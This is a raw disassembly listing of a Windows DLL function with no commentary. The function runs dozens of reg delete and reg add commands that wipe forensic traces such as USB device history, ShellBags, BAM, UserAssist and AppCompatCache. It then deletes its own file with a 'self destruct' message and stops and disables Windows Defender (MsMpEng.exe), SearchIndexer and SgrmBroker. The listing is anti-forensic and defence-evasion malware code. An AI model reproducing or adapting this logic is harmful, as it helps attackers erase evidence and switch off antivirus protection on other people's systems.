lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam___f
mov qword [rbp + 0x4e0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted___f
mov qword [rbp + 0x4e8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x4f0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x4f8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x500], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUsbEStub___f
mov qword [rbp + 0x508], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSB___f
mov qword [rbp + 0x510], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001EnumUSBSTOR___f
mov qword [rbp + 0x518], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002EnumUSBSTOR___f
mov qword [rbp + 0x520], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses___f
mov qword [rbp + 0x528], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet003EnumUSB___f
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x538], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_usersid____f
mov qword [rbp + 0x540], rax
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x548], rax
mov qword [rbp + 0x550], rdx
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___f
mov qword [rbp + 0x558], rax
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
mov qword [rbp + 0x560], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTimeZoneInformation___f
mov qword [rbp + 0x568], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamStateUserSettingsS_1_5_21_4275516325_2688004904_1468727699_500___f
mov qword [rbp + 0x570], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist_
mov qword [rbp + 0x578], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREWinRARArcHistory_
mov qword [rbp + 0x580], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREWinRARDialogEditHistory_
mov qword [rbp + 0x588], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWARE7_Zip_
mov qword [rbp + 0x590], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache_
mov qword [rbp + 0x598], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesAppX69r31t6nmawqr1gdamcsndphj2v4a6cx_
mov qword [rbp + 0x5a0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts_
mov qword [rbp + 0x5a8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched_
mov qword [rbp + 0x5b0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x5b8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList_
mov qword [rbp + 0x5c0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView_
mov qword [rbp + 0x5c8], rax
lea rax, str.REG_ADD__HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache_
mov qword [rbp + 0x5d0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs_
mov qword [rbp + 0x5d8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths_
mov qword [rbp + 0x5e0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyFirewallRules_
mov qword [rbp + 0x5e8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTO_
mov qword [rbp + 0x5f0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShell_
mov qword [rbp + 0x5f8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftFTH_
mov qword [rbp + 0x600], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWARECloudflare_
mov qword [rbp + 0x608], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NT_
mov qword [rbp + 0x610], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftNotepad_
mov qword [rbp + 0x618], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWARERegisteredApplications_
mov qword [rbp + 0x620], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayer_
mov qword [rbp + 0x628], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettings_
mov qword [rbp + 0x630], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMMountedDevices_
mov qword [rbp + 0x638], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy_
mov qword [rbp + 0x640], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder_
mov qword [rbp + 0x648], rax
lea rax, str.REG_ADD__REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU_
mov qword [rbp + 0x650], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU_
mov qword [rbp + 0x658], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags_
mov qword [rbp + 0x660], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU_
mov qword [rbp + 0x668], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBags_
mov qword [rbp + 0x670], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBagMRU_
mov qword [rbp + 0x678], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache_
mov qword [rbp + 0x680], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache_
mov qword [rbp + 0x688], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftDirectInput_
mov qword [rbp + 0x690], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionAppletsRegedit_
mov qword [rbp + 0x698], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers_
mov qword [rbp + 0x6a0], rax
lea rax, str.REG_ADD__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x6a8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USEREnvironment_
mov qword [rbp + 0x6b0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters_
mov qword [rbp + 0x6b8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall_
mov qword [rbp + 0x6c0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore_
mov qword [rbp + 0x6c8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU_
mov qword [rbp + 0x6d0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet_
mov qword [rbp + 0x6d8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand_Processor_
mov qword [rbp + 0x6e0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_SearchVolumeInfoCache_
mov qword [rbp + 0x6e8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR_
mov qword [rbp + 0x6f0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing_
mov qword [rbp + 0x6f8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer_
mov qword [rbp + 0x700], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU_
mov qword [rbp + 0x708], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
mov qword [rbp + 0x710], rax
lea rax, str.REG_ADD__HKU_usersid_SOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount_
mov qword [rbp + 0x718], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
mov qword [rbp + 0x720], rax
lea rcx, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
mov qword [rbp + 0x728], rcx
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid____f
mov qword [rbp + 0x730], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam_
mov qword [rbp + 0x738], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted_
mov qword [rbp + 0x740], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x748], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x750], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x758], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUsbEStub_
mov qword [rbp + 0x760], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSB_
mov qword [rbp + 0x768], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001EnumUSBSTOR_
mov qword [rbp + 0x770], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002EnumUSBSTOR_
mov qword [rbp + 0x778], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses_
mov qword [rbp + 0x780], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet003EnumUSB_
mov qword [rbp + 0x788], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid__
mov qword [rbp + 0x790], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_usersid__
mov qword [rbp + 0x798], rax
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x7a0], rax
mov qword [rbp + 0x7a8], rcx
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionAppCompatFlagsLayers_
mov qword [rbp + 0x7b0], rax
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
mov qword [rbp + 0x7b8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTimeZoneInformation_
mov qword [rbp + 0x7c0], rax
lea rbx, [rbp + 0x310]
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rbx, 8
lea rax, [rbp + 0x7c8]
cmp rbx, rax
jne 0x180034023
mov r8d, 0x104
lea rdx, [rbp + 0x840]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
lea rax, [rbp + 0x840]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x180034070
mov r8, rdi
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x280]
call fcn.180036d80
nop
lea rcx, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1800340c1
lea rdx, str.Self_destruct_sequence_initiated..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1800340f2
lea rdx, str.Failed_to_initiate_self_destruct_sequence._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b320
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x180041680]
call fcn.18003b320
lea rcx, str.net_stop_SearchIndexer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SearchIndexer.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_MsMpEng.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_MsMpEng.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_SgrmBroker.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SgrmBroker.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x18003418a
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180034185
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180034185
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x290], xmm6
mov byte [rbp + 0x280], 0
cmp r15, 0xf
jbe 0x1800341d4
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1800341cb
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800341cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.18003d130
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x180034218
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180034213
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180034213
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x2b0], xmm6
mov byte [rbp + 0x2a0], 0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x18003426b
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180034266
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180034266
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.18003d040
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180031900
nop
call fcn.18002ee50
int3